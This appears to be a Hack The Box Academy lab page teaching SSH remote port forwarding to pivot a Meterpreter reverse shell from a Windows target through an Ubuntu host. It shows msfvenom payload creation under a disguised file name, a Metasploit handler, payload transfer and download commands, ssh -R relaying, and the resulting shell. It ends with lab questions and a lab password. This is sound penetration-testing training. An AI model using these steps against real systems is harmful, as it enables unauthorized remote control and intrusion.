Remote/Reverse Port Forwarding with SSH

We have seen local port forwarding, where SSH can listen on our local host and forward a service on the remote host to our port, and dynamic port forwarding, where we can send packets to a remote network via a pivot host. But sometimes, we might want to forward a local service to the remote port as well. Let's consider the scenario where we can RDP into the Windows host `Windows A`. As can be seen in the image below, in our previous case, we could pivot into the Windows host via the Ubuntu server.

But what happens if we try to gain a reverse shell?

The `outgoing connection` for the Windows host is only limited to the `172.16.5.0/23` network. This is because the Windows host does not have any direct connection with the network the attack host is on. If we start a Metasploit listener on our attack host and try to get a reverse shell, we won't be able to get a direct connection here because the Windows server doesn't know how to route traffic leaving its network (172.16.5.0/23) to reach the 10.129.x.x (the Academy Lab network).

There are several times during a penetration testing engagement when having just a remote desktop connection is not feasible. You might want to `upload`/`download` files (when the RDP clipboard is disabled), `use exploits` or `Low-level Windows API` using a Meterpreter session to perform enumeration on the Windows host, which is not possible using the built in `Windows executables`.

In these cases, we would have to find a pivot host, which is a common connection point between our attack host and the Windows server. In our case, our pivot host would be the Ubuntu server since it can connect to both: `our attack host` and `the Windows target`. To gain a `Meterpreter shell` on Windows, we will create a Meterpreter HTTPS payload using `msfvenom`, but the configuration of the reverse connection for the payload would be the Ubuntu server's host IP address (`172.16.5.129`). We will use the port 8080 on the Ubuntu server to forward all of our reverse packets to our attack hosts' 8000 port, where our Metasploit listener is running.

Creating a Windows Payload with msfvenom

Creating a Windows Payload with msfvenom

```
ipp@htb[/htb]$ msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalPorPivotHos

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 712 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe
```

Configuring & Starting the multi/handler

Configuring & Starting the multi/handler

```
msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8080
lport => 8080
msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8080
```

Once our payload is created and we have our listener configured & running, we can copy the payload to the Ubuntu server using the `scp` command since we already have the credentials to connect to the Ubuntu server using SSH.

Transferring Payload to Pivot Host

Transferring Payload to Pivot Host

```
ipp@htb[/htb]$ scp backupscript.exe ubuntu@<ipAddressofTarget>:~/

backupscript.exe                              100% 7168    65.4KB/s   00:00
```

After copying the payload, we will start a `python3 HTTP server` using the below command on the Ubuntu server in the same directory where we copied our payload.

Starting Python3 Webserver on Pivot Host

Starting Python3 Webserver on Pivot Host

```
ubuntu@Webserver$ python3 -m http.server 8123
```

Downloading Payload from Windows Target

We can download this `backupscript.exe` from the Windows host via a web browser or the PowerShell cmdlet `Invoke-WebRequest`.

Downloading Payload from Windows Target

```
PS C:\Windows\system32> Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -
```

Once we have our payload downloaded on the Windows host, we will use `SSH remote port forwarding` to forward our msfconsole's listener service on port 8000 to the Ubuntu server's port 8080. We will use `-vR` argument in our SSH command to make it verbose and ask it not to prompt the login shell. The `-R` command asks the Ubuntu server to listen on `<targetIPaddress>:8080` and forward all incoming connections on port `8080` to our msfconsole listener on `0.0.0.0:8000` of our `attack host`.

Using SSH -R

Using SSH -R

```
ipp@htb[/htb]$ ssh -R <InternalPrivPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -
```

After creating the SSH remote port forward, we can execute the payload from the Windows target. If the payload is executed as intended and attempts to connect back to our listener, we can see the logs from the pivot on the pivot host.

Viewing the Logs from the Pivot

Viewing the Logs from the Pivot

```
ebug1: client_request_forwarded_tcpip: listen 172.16.5.129 port 8080, originator 172.16.5.1
debug1: connect_next: host 0.0.0.0 ([0.0.0.0]:8080) in progress, fd=5
debug1: channel 1: new [172.16.5.19]
debug1: confirm forwarded-tcpip
debug1: channel 0: free: 172.16.5.19, nchannels 2
debug1: channel 1: connected to 0.0.0.0 port 8080
debug1: channel 1: free: 172.16.5.19, nchannels 1
debug1: client_input_channel_open: ctype forwarded-tcpip rchan 2 win 2097152 max 32768
debug1: client_request_forwarded_tcpip: listen 172.16.5.129 port 8080, originator 172.16.5.1
debug1: connect_next: host 0.0.0.0 ([0.0.0.0]:8080) in progress, fd=4
debug1: channel 0: new [172.16.5.19]
debug1: confirm forwarded-tcpip
debug1: channel 0: connected to 0.0.0.0 port 8080
```

If all is set up properly, we will receive a Meterpreter shell pivoted via the Ubuntu server.

Meterpreter Session Established

Meterpreter Session Established

```
[*] Started HTTPS reverse handler on https://0.0.0.0:8080
[!] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9) Without a database
[*] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9) Staging x64 payl
[!] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9) Without a database
[*] Meterpreter session 1 opened (127.0.0.1:8000 -> 127.0.0.1 ) at 2022-03-02 10:48:18 -050

meterpreter > shell
Process 3236 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\>
```

Our Meterpreter session should list that our incoming connection is from a local host itself (`127.0.0.1`) since we are receiving the connection over the `local SSH socket`, which created an `outbound` connection to the Ubuntu server. Issuing the `netstat` command can show us that the incoming connection is from the SSH service.

The below graphical representation provides an alternative way to understand this technique.

In addition to answering the challenge questions, practice this technique and try to obtain a reverse shell from the Windows target.

Start Instance

∞ / 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Cheat Sheet

Get VPN Key

Target: Click here to spawn the target system!

SSH to with user "ubuntu" and password "HTB_@cademy_stdnt!"

+0 Which IP address assigned to the Ubuntu server Pivot host allows communication with the Windows server target? (Format: x.x.x.x)

Submit your answer here...

Submit

+0 What IP address is used on the attack host to ensure the handler is listening on all IP addresses assigned to the host? (Format: x.x.x.x)

Submit your answer here...

Submit

← Previous Next →

My Workstation

OFFLINE

Start Instance

∞ / 1 spawns left